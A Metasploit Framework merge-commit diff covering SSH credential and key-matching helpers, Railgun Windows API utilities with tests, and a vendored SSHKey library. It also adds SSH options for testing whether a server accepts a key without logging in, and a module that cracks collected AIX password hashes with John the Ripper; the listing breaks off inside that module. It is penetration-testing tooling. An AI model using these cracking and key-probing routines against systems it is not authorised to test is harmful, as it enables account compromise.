Merge branch 'master' of r7.github.com:rapid7/metasploit-framework

unstable
Jonathan Cran 2012-01-09 13:56:49 -06:00
commit 4b924bef1c
42 changed files with 2061 additions and 121 deletions

4
README
View File

@ -48,12 +48,16 @@ This license does not apply to the following components:
- The Ruby-Lorcon library located under external/ruby-lorcon
- The SNMP library located under lib/snmp
- The Zip library located under lib/zip
- The SSHKey library located under lib/sshkey
The latest version of this software is available from http://metasploit.com/
Bug tracking and development information can be found at:
https://dev.metasploit.com/redmine/projects/framework/
The public GitHub source repository can be found at:
https://github.com/rapid7/metasploit-framework
Questions and suggestions can be sent to:
msfdev[at]metasploit.com

View File

@ -5,18 +5,47 @@ class Cred < ActiveRecord::Base
include DBSave
belongs_to :service
def ssh_key_matches?(other)
return false unless other.kind_of? self.class
KEY_ID_REGEX = /([0-9a-fA-F:]{47})/ # Could be more strict
# Returns its workspace
def workspace
self.service.host.workspace
end
# Returns its key id. If this is not an ssh-type key, returns nil.
def ssh_key_id
return nil unless self.ptype =~ /^ssh_/
return nil unless self.proof =~ KEY_ID_REGEX
$1.downcase # Can't run into NilClass problems.
end
# Returns all private keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_private_keys
return [] unless self.ssh_key_id
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_key", "%#{self.ssh_key_id}%"])
matches.select {|c| c.workspace == self.workspace}
end
# Returns all public keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_public_keys
return [] unless self.ssh_key_id
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_pubkey", "%#{self.ssh_key_id}%"])
matches.select {|c| c.workspace == self.workspace}
end
# Returns all keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_keys
(self.ssh_private_keys | self.ssh_public_keys)
end
def ssh_key_matches?(other_cred)
return false unless self.ptype == "ssh_key"
return false unless self.ptype == other.ptype
return false unless other.proof
return false if other.proof.empty?
return false unless self.proof
return false if self.proof.empty?
key_id_regex = /[0-9a-fA-F:]+/
my_key_id = self.proof[key_id_regex].to_s.downcase
other_key_id = other.proof[key_id_regex].to_s.downcase
my_key_id == other_key_id
return false unless other_cred.ptype == self.ptype
matches = self.ssh_private_keys
matches.include?(self) and matches.include?(other_cred)
end
end

View File

@ -0,0 +1,60 @@
require 'rex/post/meterpreter/extensions/stdapi/railgun/railgun'
module Msf
class Post
module Windows
module Railgun
# Go through each dll and add a corresponding convenience method of the same name
Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun::BUILTIN_DLLS.each do |api|
# We will be interpolating within an eval. We exercise due paranoia.
unless api.to_s =~ /^\w+$/
print_error 'Something is seriously wrong with Railgun.BUILTIN_DLLS list'
next
end
# don't override existing methods
if method_defined? api.to_sym
# We don't warn as the override may have been intentional
next
end
# evaling a String is faster than calling define_method
eval "def #{api.to_s}; railgun.#{api.to_s}; end"
end
#
# Return an array of windows constants names matching +winconst+
#
def select_const_names(winconst, filter_regex=nil)
railgun.constant_manager.select_const_names(winconst, filter_regex)
end
#
# Returns an array of windows error code names for a given windows error code matching +err_code+
#
def lookup_error (err_code, filter_regex=nil)
select_const_names(err_code, /^ERROR_/).select do |name|
name =~ filter_regex
end
end
def memread(address, length)
railgun.memread(address, length)
end
def memwrite(address, length)
railgun.memwrite(address, length)
end
def railgun
client.railgun
end
def pointer_size
railgun.util.pointer_size
end
end
end
end
end

View File

@ -2201,6 +2201,10 @@ class Core
end
end
def cmd_pushm_tabs(str, words)
tab_complete_module(str, words)
end
#
# Help for the 'pushm' command
#
@ -2251,17 +2255,9 @@ class Core
# Tab completion for the use command
#
def cmd_use_tabs(str, words)
res = []
return res if words.length > 1
return [] if words.length > 1
framework.modules.module_types.each do |mtyp|
mset = framework.modules.module_names(mtyp)
mset.each do |mref|
res << mtyp + '/' + mref
end
end
return res.sort
tab_complete_module(str, words)
end
#
@ -2276,6 +2272,22 @@ class Core
return true
end
#
# Tab complete module names
#
def tab_complete_module(str, words)
res = []
framework.modules.module_types.each do |mtyp|
mset = framework.modules.module_names(mtyp)
mset.each do |mref|
res << mtyp + '/' + mref
end
end
return res.sort
end
#
# Provide tab completion for option values
#

View File

@ -71,7 +71,7 @@ module Net
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule,
:record_auth_info
:record_auth_info, :skip_private_keys, :accepted_key_callback, :disable_agent
]
# The standard means of starting a new SSH connection. When used with a
@ -196,7 +196,7 @@ module Net
# Tell MSF not to auto-close this socket anymore...
# This allows the transport socket to surive with the session.
if options[:msfmodule]
options[:msfmodule].remove_socket(transport.socket)
options[:msfmodule].remove_socket(transport.socket)
end
if block_given?
@ -206,7 +206,7 @@ module Net
return connection
end
else
transport.close
transport.close
raise AuthenticationFailed, user
end
end

View File

@ -121,10 +121,16 @@ module Net
end
key_data.each do |data|
private_key = KeyFactory.load_data_private_key(data)
key = private_key.send(:public_key)
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
yield key
if @options[:skip_private_keys]
key = KeyFactory.load_data_public_key(data)
known_identities[key] = { :from => :key_data, :data => data }
yield key
else
private_key = KeyFactory.load_data_private_key(data)
key = private_key.send(:public_key)
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
yield key
end
end
self
@ -165,6 +171,7 @@ module Net
# Identifies whether the ssh-agent will be used or not.
def use_agent?
return false if @options[:disable_agent]
@use_agent
end

View File

@ -54,6 +54,23 @@ module Net
case message.type
when USERAUTH_PK_OK
debug { "publickey will be accepted (#{identity.fingerprint})" }
# The key is accepted by the server, trigger a callback if set
if session.accepted_key_callback
session.accepted_key_callback.call({ :user => username, :fingerprint => identity.fingerprint, :key => identity.dup })
end
if session.skip_private_keys
if session.options[:record_auth_info]
session.auth_info[:method] = "publickey"
session.auth_info[:user] = username
session.auth_info[:pubkey_data] = identity.inspect
session.auth_info[:pubkey_id] = identity.fingerprint
end
return true
end
buffer = build_request(identity, username, next_service, true)
sig_data = Net::SSH::Buffer.new
sig_data.write_string(session_id)

View File

@ -34,6 +34,12 @@ module Net; module SSH; module Authentication
# when a successful auth is made, note the auth info if session.options[:record_auth_info]
attr_accessor :auth_info
# when a public key is accepted (even if not used), trigger a callback
attr_accessor :accepted_key_callback
# when we only want to test a key and not login
attr_accessor :skip_private_keys
# Instantiates a new Authentication::Session object over the given
# transport layer abstraction.
def initialize(transport, options={})
@ -43,7 +49,9 @@ module Net; module SSH; module Authentication
@auth_methods = options[:auth_methods] || %w(publickey hostbased password keyboard-interactive)
@options = options
@allowed_auth_methods = @auth_methods
@allowed_auth_methods = @auth_methods
@skip_private_keys = options[:skip_private_keys] || false
@accepted_key_callback = options[:accepted_key_callback]
@auth_info = {}
end

View File

@ -5,6 +5,8 @@ require 'test/unit'
require 'rex'
require 'railgun/api_constants.rb.ut'
require 'railgun/type/pointer_util.rb.ut'
require 'railgun/platform_util.rb.ut'
require 'railgun/buffer_item.rb.ut'
require 'railgun/dll_function.rb.ut'
require 'railgun/dll_helper.rb.ut'

View File

@ -0,0 +1,22 @@
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module PlatformUtil
X86_64 = :x86_64
X86_32 = :x86_32
def self.parse_client_platform(meterp_client_platform)
meterp_client_platform =~ /win64/ ? X86_64 : X86_32
end
end # PlatformUtil
end # Railgun
end # Stdapi
end # Extensions
end # Meterpreter
end # Post
end # Rex

View File

@ -0,0 +1,28 @@
#!/usr/bin/env ruby
$:.unshift(File.join(File.dirname(__FILE__), '..','..','..','..','..', '..', '..', 'lib'))
require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util'
require 'rex/post/meterpreter/extensions/stdapi/railgun/mock_magic'
require 'test/unit'
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
class PlatformUtil::UnitTest < Test::Unit::TestCase
def test_parse_client_platform
assert_equal(PlatformUtil.parse_client_platform('x86/win32'), PlatformUtil::X86_32,
'parse_client_platform should translate Win32 client platforms')
assert_equal(PlatformUtil.parse_client_platform('x86/win64'), PlatformUtil::X86_64,
'parse_client_platform should translate Win64 client platforms')
end
end
end
end
end
end
end
end

View File

@ -61,9 +61,9 @@ class Railgun
# definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/'.
# Naming is important and should follow convention. For example, if your
# dll's name was "my_dll"
# file name:: def_my_dll.rb
# class name:: Def_my_dll
# entry below:: 'my_dll'
# file name: def_my_dll.rb
# class name: Def_my_dll
# entry below: 'my_dll'
#
BUILTIN_DLLS = [
'kernel32',
@ -104,6 +104,10 @@ class Railgun
self.dlls = {}
end
def self.builtin_dlls
BUILTIN_DLLS
end
#
# Return this Railgun's Util instance.
#
@ -184,8 +188,8 @@ class Railgun
# For backwards compatibility, we ensure the dll is thawed
if dll.frozen?
# dup will copy values, but not the frozen status
dll = dll.dup
# Duplicate not only the dll, but its functions as well. Frozen status will be lost
dll = Marshal.load(Marshal.dump(dll))
# Update local dlls with the modifiable duplicate
dlls[dll_name] = dll
@ -278,22 +282,6 @@ class Railgun
return constant_manager.parse(str)
end
#
# Return an array of windows constants names matching +winconst+
#
def const_reverse_lookup(winconst,filter_regex=nil)
return constant_manager.rev_lookup(winconst,filter_regex)
end
#
# Returns an array of windows error code names for a given windows error code matching +err_code+
#
def error_lookup (err_code,filter_regex=/^ERROR_/)
return constant_manager.rev_lookup(err_code,filter_regex)
end
#
# The multi-call shorthand (["kernel32", "ExitProcess", [0]])
#

View File

@ -120,6 +120,14 @@ class Railgun::UnitTest < Test::Unit::TestCase
assert(!unfrozen_dll.frozen?,
"add_function should create a local unfrozen instance that get_dll can then access")
railgun2 = Railgun.new(make_mock_client())
assert(!railgun2.get_dll(dll_name).functions.has_key?('__lolz'),
"functions added to one instance of railgun should not be accessible to others")
assert_not_same(!railgun2.get_dll(dll_name).functions, unfrozen_dll.functions,
"function hash should have been duplicated during unfreeze")
end
end

View File

@ -0,0 +1,105 @@
require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util'
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Type
module PointerUtil
ARCH_POINTER_SIZE = {
PlatformUtil::X86_64 => 8,
PlatformUtil::X86_32 => 4
}.freeze
# Returns the pointer size for this architecture. Should accept client or platform or arch
def self.pointer_size(platform)
ARCH_POINTER_SIZE[platform]
end
def self.pack_pointer(pointer, platform)
if pointer.nil?
return pack_pointer(0, platform)
end
case platform
when PlatformUtil::X86_64
# XXX: Only works if attacker and victim are like-endianed
[pointer].pack('Q')
when PlatformUtil::X86_32
[pointer].pack('V')
else
raise "platform symbol #{platform.to_s} not supported"
end
end
# Given a packed pointer, unpack it according to architecture
def self.unpack_pointer(packed_pointer, platform)
case platform
when PlatformUtil::X86_64
# XXX: Only works if attacker and victim are like-endianed
packed_pointer.unpack('Q').first
when PlatformUtil::X86_32
packed_pointer.unpack('V').first
else
raise "platform symbol #{platform.to_s} not supported"
end
end
def self.null_pointer(pointer, platform)
pack_pointer(0, platform)
end
###
# Summary: Returns true if pointer will be considered a 'null' pointer
#
# If given nil, returns true
# If given 0, returns true
# If given a string, if 0 after unpacking, returns true
# false otherwise
##
def self.is_null_pointer?(pointer, platform)
if pointer.kind_of?(String)
pointer = unpack_pointer(pointer, platform)
end
return pointer.nil? || pointer == 0
end
#
# def self.is_unpacked_pointer?(pointer, platform)
# # TODO also check that the integer size is appropriate for the platform
# unless pointer.kind_of?(Fixnum) and pointer > 0 # and pointer <
# return false
# end
#
# packed_pointer = pack_pointer(pointer, platform)
# if !packed_pointer.nil? and packed_pointer.length == pointer_size(platform)
# return true
# end
#
# return false
# end
#
# Returns true if the data type is a pointer, false otherwise
def self.is_pointer_type?(type)
if type == :pointer
return true
end
if type.kind_of?(String) && type =~ /^L?P/
return true
end
return false
end
end # PointerUtil
end # Type
end # Railgun
end # Stdapi
end # Extensions
end # Meterpreter
end # Post
end # Rex

View File

@ -0,0 +1,127 @@
#!/usr/bin/env ruby
$:.unshift(File.join(File.dirname(__FILE__), '..', '..','..','..','..','..', '..', '..', 'lib'))
require 'rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util'
require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util'
require 'rex/post/meterpreter/extensions/stdapi/railgun/mock_magic'
require 'test/unit'
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Type
class PlatformUtil::UnitTest < Test::Unit::TestCase
include Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::MockMagic
# memread value of win x86 pointer mapped to target unpack value
X86_32_POINTERS = {
"8D\x15\x00" => 1393720,
"\x1C\x84\x15\x00" => 1410076,
"\x0E\x84\x15\x00" => 1410062,
"\x02\x84\x15\x00" => 1410050,
"\xE6\x83\x15\x00" => 1410022,
"\xC4\x83\x15\x00" => 1409988,
"\x00\x00\x00\x00" => 0,
}
X86_64_POINTERS = {
"\x10^ \x00\x00\x00\x00\x00" => 2121232,
"\xCA\x9D \x00\x00\x00\x00\x00" => 2137546,
"\xC8\x9D \x00\x00\x00\x00\x00" => 2137544,
"Z\x9D \x00\x00\x00\x00\x00" => 2137434,
"X\x9D \x00\x00\x00\x00\x00" => 2137432,
"\x00\x00\x00\x00\x00\x00\x00\x00" => 0,
}
X86_64_NULL_POINTER = "\x00\x00\x00\x00\x00\x00\x00\x00"
X86_32_NULL_POINTER = "\x00\x00\x00\x00"
X86_64 = PlatformUtil::X86_64
X86_32 = PlatformUtil::X86_32
def test_pack_pointer
X86_64_POINTERS.invert.each_pair do |unpacked, packed|
assert_equal(packed, PointerUtil.pack_pointer(unpacked.to_i, X86_64),
"pack_pointer should pack 64-bit numberic pointers")
end
X86_32_POINTERS.invert.each_pair do |unpacked, packed|
assert_equal(packed, PointerUtil.pack_pointer(unpacked.to_i, X86_32),
"pack_pointer should pack 32-bit numberic pointers")
end
assert_equal(X86_64_NULL_POINTER, PointerUtil.pack_pointer(nil, X86_64),
'pack_pointer should pack "nil" as a null pointer for x86_64')
assert_equal(X86_32_NULL_POINTER, PointerUtil.pack_pointer(nil, X86_32),
'pack_pointer should pack "nil" as a null pointer for x86_32')
assert_equal(X86_64_NULL_POINTER, PointerUtil.pack_pointer(0, X86_64),
'pack_pointer should pack numeric 0 as a null pointer for x86_64')
assert_equal(X86_32_NULL_POINTER, PointerUtil.pack_pointer(0, X86_32),
'pack_pointer should pack numeric 9 as a null pointer for x86_32')
end
def test_unpack_pointer
X86_64_POINTERS.each_pair do |packed, unpacked|
assert_equal(unpacked, PointerUtil.unpack_pointer(packed, X86_64),
"unpack_pointer should unpack 64-bit pointers")
end
X86_32_POINTERS.each_pair do |packed, unpacked|
assert_equal(unpacked, PointerUtil.unpack_pointer(packed, X86_32),
"unpack_pointer should unpack 32-bit pointers")
end
end
def test_is_null_pointer
[X86_32, X86_64].each do |platform|
assert(PointerUtil.is_null_pointer?(nil, platform), 'nil should be a null pointer')
assert(PointerUtil.is_null_pointer?(0, platform), 'numeric 0 should be a null pointer')
end
assert_equal(true, PointerUtil.is_null_pointer?(X86_32_NULL_POINTER, X86_32),
'is_null_pointer? should return true for packed 32-bit null pointers')
assert_equal(true, PointerUtil.is_null_pointer?(X86_64_NULL_POINTER, X86_64),
'is_null_pointer? should return true for packed 64-bit null pointers')
end
def test_pointer_size
assert_equal(8, PointerUtil.pointer_size(X86_64),
'pointer_size should report X86_64 arch as 8 (bytes)')
assert_equal(4, PointerUtil.pointer_size(X86_32),
'pointer_size should report X86_32 arch as 4 (bytes)')
end
def test_is_pointer_type
assert_equal(true, PointerUtil.is_pointer_type?(:pointer),
'pointer_type should return true for the symbol :pointer')
assert_equal(true, PointerUtil.is_pointer_type?('LPVOID'),
'pointer_type should return true if string begins with LP')
assert_equal(true, PointerUtil.is_pointer_type?('PDWORD'),
'pointer_type should return true if string begins with P')
assert_equal(false, PointerUtil.is_pointer_type?('LOLZ'),
'pointer_type should return false if not a pointer type')
end
end
end
end
end
end
end
end
end

View File

@ -33,6 +33,7 @@ module Railgun
# Manages our library of windows constants
#
class WinConstManager
attr_reader :consts
def initialize(initial_consts = {})
@consts = {}
@ -40,12 +41,10 @@ class WinConstManager
initial_consts.each_pair do |name, value|
add_const(name, value)
end
# Load utility
end
def add_const(name, value)
@consts[name] = value
consts[name] = value
end
# parses a string constaining constants and returns an integer
@ -59,40 +58,37 @@ class WinConstManager
return_value = 0
for one_const in s.split('|')
one_const = one_const.strip()
if not @consts.has_key? one_const
if not consts.has_key? one_const
return nil # at least one "Constant" is unknown to us
end
return_value |= @consts[one_const]
return_value |= consts[one_const]
end
return return_value
end
def is_parseable(s)
return parse(s) != nil
return !parse(s).nil?
end
# looks up a windows constant (integer or hex) and returns an array of matching winconstant names
#
# this function will NOT throw an exception but return "nil" if it can't find an error code
def rev_lookup(winconst, filter_regex=nil)
c = winconst.to_i # this is what we're gonna reverse lookup
arr = [] # results array
@consts.each_pair do |k,v|
arr << k if v == c
# Returns an array of constant names that have a value matching "winconst"
# and (optionally) a name that matches "filter_regex"
#
def select_const_names(winconst, filter_regex=nil)
matches = []
consts.each_pair do |name, value|
matches << name if value == winconst
end
if filter_regex # this is how we're going to filter the results
# in case we get passed a string instead of a Regexp
filter_regex = Regexp.new(filter_regex) unless filter_regex.class == Regexp
# do the actual filtering
arr.select! do |item|
item if item =~ filter_regex
# Filter matches by name if a filter has been provided
unless filter_regex.nil?
matches.reject! do |name|
name !~ filter_regex
end
end
return arr
end
def is_parseable(s)
return parse(s) != nil
return matches
end
end

View File

@ -12,6 +12,26 @@ module Extensions
module Stdapi
module Railgun
class WinConstManager::UnitTest < Test::Unit::TestCase
def test_select_const_names
const_manager = WinConstManager.new
names = %w(W WW WWW)
names.each do |name|
const_manager.add_const(name, 23)
end
assert(const_manager.select_const_names(23).sort == names,
'select_const_names should return all names for given value')
const_manager.add_const('Skidoo!', 23)
assert(const_manager.select_const_names(23, /^\w{1,3}$/).sort == names,
'select_const_names should filter names with provided regex')
end
def test_is_parseable
const_manager = WinConstManager.new

View File

@ -99,16 +99,22 @@ class Client
#
def set_config(opts = {})
opts.each_pair do |var,val|
# Default type is string
typ = self.config_types[var] || 'string'
# These are enum types
if(typ.class.to_s == 'Array')
if not typ.include?(val)
raise RuntimeError, "The specified value for #{var} is not one of the valid choices"
end
end
# The caller should have converted these to proper ruby types, but
# take care of the case where they didn't before setting the
# config.
if(typ == 'bool')
val = (val =~ /^(t|y|1)$/i ? true : false)
val = (val =~ /^(t|y|1)$/i ? true : false || val === true)
end
if(typ == 'integer')

4
lib/sshkey.rb Normal file
View File

@ -0,0 +1,4 @@
class SSHKey
end
require 'sshkey/lib/sshkey'

20
lib/sshkey/LICENSE Normal file
View File

@ -0,0 +1,20 @@
Copyright (c) 2011 James Miller
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

71
lib/sshkey/README.md Normal file
View File

@ -0,0 +1,71 @@
sshkey
======
Generate private and public SSH keys (RSA and DSA supported) using pure Ruby.
gem install sshkey
Tested on the following Rubies: MRI 1.8.7, 1.9.2, 1.9.3, REE. Ruby must be compiled with OpenSSL support.
[![Build Status](https://secure.travis-ci.org/bensie/sshkey.png)](http://travis-ci.org/bensie/sshkey)
Usage
-----
When generating a new keypair the default key type is 2048-bit RSA, but you can supply the `type` (RSA or DSA) and `bits` in the options.
You can also (optionally) supply a `comment`:
``` ruby
k = SSHKey.generate
k = SSHKey.generate(:type => "DSA", :bits => 1024, :comment => "foo@bar.com")
```
Return an SSHKey object from an existing RSA or DSA private key (provided as a string)
``` ruby
k = SSHKey.new(File.read("~/.ssh/id_rsa"), :comment => "foo@bar.com")
```
Both of these will return an SSHKey object with the following methods:
``` ruby
# Returns an OpenSSL::PKey::RSA or OpenSSL::PKey::DSA key object
# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/RSA.html
# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/DSA.html
k.key_object
# => -----BEGIN RSA PRIVATE KEY-----\nMIIEowI...
# Returns the Private Key as a string
k.private_key
# => "-----BEGIN RSA PRIVATE KEY-----\nMIIEowI..."
# Returns the Public Key as a string
k.public_key
# => "-----BEGIN RSA PUBLIC KEY-----\nMIIBCg..."
# Returns the SSH Public Key as a string
k.ssh_public_key
# => "ssh-rsa AAAAB3NzaC1yc2EA...."
# Returns the comment as a string
k.comment
# => "foo@bar.com"
# Returns the MD5 fingerprint as a string
k.md5_fingerprint
# => "2a:89:84:c9:29:05:d1:f8:49:79:1c:ba:73:99:eb:af"
# Returns the SHA1 fingerprint as a string
k.sha1_fingerprint
# => "e4:f9:79:f2:fe:d6:be:2d:ef:2e:c2:fa:aa:f8:b0:17:34:fe:0d:c0"
# Validates SSH Public Key
SSHKey.valid_ssh_public_key? "ssh-rsa AAAAB3NzaC1yc2EA...."
# => true
```
Copyright
---------
Copyright (c) 2011 James Miller

186
lib/sshkey/lib/sshkey.rb Normal file
View File

@ -0,0 +1,186 @@
require 'openssl'
require 'base64'
require 'digest/md5'
require 'digest/sha1'
class SSHKey
SSH_TYPES = {"rsa" => "ssh-rsa", "dsa" => "ssh-dss"}
SSH_CONVERSION = {"rsa" => ["e", "n"], "dsa" => ["p", "q", "g", "pub_key"]}
attr_reader :key_object, :comment, :type
attr_accessor :passphrase
# Generate a new keypair and return an SSHKey object
#
# The default behavior when providing no options will generate a 2048-bit RSA
# keypair.
#
# ==== Parameters
# * options<~Hash>:
# * :type<~String> - "rsa" or "dsa", "rsa" by default
# * :bits<~Integer> - Bit length
# * :comment<~String> - Comment to use for the public key, defaults to ""
# * :passphrase<~String> - Encrypt the key with this passphrase
#
def self.generate(options = {})
type = options[:type] || "rsa"
bits = options[:bits] || 2048
cipher = OpenSSL::Cipher::Cipher.new("AES-128-CBC") if options[:passphrase]
case type.downcase
when "rsa" then SSHKey.new(OpenSSL::PKey::RSA.generate(bits).to_pem(cipher, options[:passphrase]), options)
when "dsa" then SSHKey.new(OpenSSL::PKey::DSA.generate(bits).to_pem(cipher, options[:passphrase]), options)
else
raise "Unknown key type: #{type}"
end
end
# Validate an existing SSH public key
#
# Returns true or false depending on the validity of the public key provided
#
# ==== Parameters
# * ssh_public_key<~String> - "ssh-rsa AAAAB3NzaC1yc2EA...."
#
def self.valid_ssh_public_key?(ssh_public_key)
ssh_type, encoded_key = ssh_public_key.split(" ")
type = SSH_TYPES.invert[ssh_type]
prefix = [0,0,0,7].pack("C*")
decoded = Base64.decode64(encoded_key)
# Base64 decoding is too permissive, so we should validate if encoding is correct
return false unless Base64.encode64(decoded).gsub("\n", "") == encoded_key
return false unless decoded.sub!(/^#{prefix}#{ssh_type}/, "")
unpacked = decoded.unpack("C*")
data = []
index = 0
until unpacked[index].nil?
datum_size = from_byte_array unpacked[index..index+4-1], 4
index = index + 4
datum = from_byte_array unpacked[index..index+datum_size-1], datum_size
data << datum
index = index + datum_size
end
SSH_CONVERSION[type].size == data.size
rescue
false
end
def self.from_byte_array(byte_array, expected_size = nil)
num = 0
raise "Byte array too short" if !expected_size.nil? && expected_size != byte_array.size
byte_array.reverse.each_with_index do |item, index|
num += item * 256**(index)
end
num
end
# Create a new SSHKey object
#
# ==== Parameters
# * private_key - Existing RSA or DSA private key
# * options<~Hash>
# * :comment<~String> - Comment to use for the public key, defaults to ""
# * :passphrase<~String> - If the key is encrypted, supply the passphrase
#
def initialize(private_key, options = {})
@passphrase = options[:passphrase]
@comment = options[:comment] || ""
begin
@key_object = OpenSSL::PKey::RSA.new(private_key, passphrase)
@type = "rsa"
rescue
@key_object = OpenSSL::PKey::DSA.new(private_key, passphrase)
@type = "dsa"
end
end
# Fetch the RSA/DSA private key
#
# rsa_private_key and dsa_private_key are aliased for backward compatibility
def private_key
key_object.to_pem
end
alias_method :rsa_private_key, :private_key
alias_method :dsa_private_key, :private_key
# Fetch the encrypted RSA/DSA private key using the passphrase provided
#
# If no passphrase is set, returns the unencrypted private key
def encrypted_private_key
return private_key unless passphrase
key_object.to_pem(OpenSSL::Cipher::Cipher.new("AES-128-CBC"), passphrase)
end
# Fetch the RSA/DSA public key
#
# rsa_public_key and dsa_public_key are aliased for backward compatibility
def public_key
key_object.public_key.to_pem
end
alias_method :rsa_public_key, :public_key
alias_method :dsa_public_key, :public_key
# SSH public key
def ssh_public_key
[SSH_TYPES[type], Base64.encode64(ssh_public_key_conversion).gsub("\n", ""), comment].join(" ").strip
end
# Fingerprints
#
# MD5 fingerprint for the given SSH public key
def md5_fingerprint
Digest::MD5.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2')
end
alias_method :fingerprint, :md5_fingerprint
# SHA1 fingerprint for the given SSH public key
def sha1_fingerprint
Digest::SHA1.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2')
end
private
# SSH Public Key Conversion
#
# All data type encoding is defined in the section #5 of RFC #4251.
# String and mpint (multiple precision integer) types are encoded this way:
# 4-bytes word: data length (unsigned big-endian 32 bits integer)
# n bytes: binary representation of the data
# For instance, the "ssh-rsa" string is encoded as the following byte array
# [0, 0, 0, 7, 's', 's', 'h', '-', 'r', 's', 'a']
def ssh_public_key_conversion
out = [0,0,0,7].pack("C*")
out += SSH_TYPES[type]
SSH_CONVERSION[type].each do |method|
byte_array = to_byte_array(key_object.public_key.send(method).to_i)
out += encode_unsigned_int_32(byte_array.length).pack("c*")
out += byte_array.pack("C*")
end
return out
end
def encode_unsigned_int_32(value)
out = []
out[0] = value >> 24 & 0xff
out[1] = value >> 16 & 0xff
out[2] = value >> 8 & 0xff
out[3] = value & 0xff
return out
end
def to_byte_array(num)
result = []
begin
result << (num & 0xff)
num >>= 8
end until (num == 0 || num == -1) && (result.last[7] == num[7])
result.reverse
end
end

View File

@ -0,0 +1,3 @@
class SSHKey
VERSION = "1.3.0"
end

View File

@ -0,0 +1,142 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
#
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::JohnTheRipper
def initialize
super(
'Name' => 'John the Ripper Linux Password Cracker',
'Version' => '$Revision$',
'Description' => %Q{
This module uses John the Ripper to identify weak passwords that have been
acquired from passwd files on AIX systems.
},
'Author' =>
[
'TheLightCosine <thelightcosine[at]gmail.com>',
'hdm'
] ,
'License' => MSF_LICENSE # JtR itself is GPLv2, but this wrapper is MSF (BSD)
)
end
def run
wordlist = Rex::Quickfile.new("jtrtmp")
wordlist.write( build_seed().join("\n") + "\n" )
wordlist.close
hashlist = Rex::Quickfile.new("jtrtmp")
myloots = myworkspace.loots.find(:all, :conditions => ['ltype=?', 'aix.hashes'])
unless myloots.nil? or myloots.empty?
myloots.each do |myloot|
begin
usf = File.open(myloot.path, "rb")
rescue Exception => e
print_error("Unable to read #{myloot.path} \n #{e}")
next
end
usf.each_line do |row|
row.gsub!(/\n/, ":#{myloot.host.address}\n")
hashlist.write(row)
end
end
hashlist.close
print_status("HashList: #{hashlist.path}")
print_status("Trying Format:des Wordlist: #{wordlist.path}")
john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des')
print_status("Trying Format:des Rule: All4...")
john_crack(hashlist.path, :incremental => "All4", :format => 'des')
print_status("Trying Format:des Rule: Digits5...")
john_crack(hashlist.path, :incremental => "Digits5", :format => 'des')
cracked = john_show_passwords(hashlist.path)
print_status("#{cracked[:cracked]} hashes were cracked!")
cracked[:users].each_pair do |k,v|
if v[0] == "NO PASSWORD"
passwd=""
else
passwd=v[0]
end
print_good("Host: #{v.last} User: #{k} Pass: #{passwd}")
report_auth_info(
:host => v.last,
:port => 22,
:sname => 'ssh',
:user => k,
:pass => passwd
)
end
end
end
def build_seed
seed = []
#Seed the wordlist with Database , Table, and Instance Names
schemas = myworkspace.notes.find(:all, :conditions => ['ntype like ?', '%.schema%'])
unless schemas.nil? or schemas.empty?
schemas.each do |anote|
anote.data.each do |key,value|
seed << key
value.each{|a| seed << a}
end
end
end
instances = myworkspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename'])
unless instances.nil? or instances.empty?
instances.each do |anote|
seed << anote.data['InstanceName']
end
end
# Seed the wordlist with usernames, passwords, and hostnames
myworkspace.hosts.find(:all).each {|o| seed << john_expand_word( o.name ) if o.name }
myworkspace.creds.each do |o|
seed << john_expand_word( o.user ) if o.user
seed << john_expand_word( o.pass ) if (o.pass and o.ptype !~ /hash/)
end
# Grab any known passwords out of the john.pot file
john_cracked_passwords.values {|v| seed << v }
#Grab the default John Wordlist
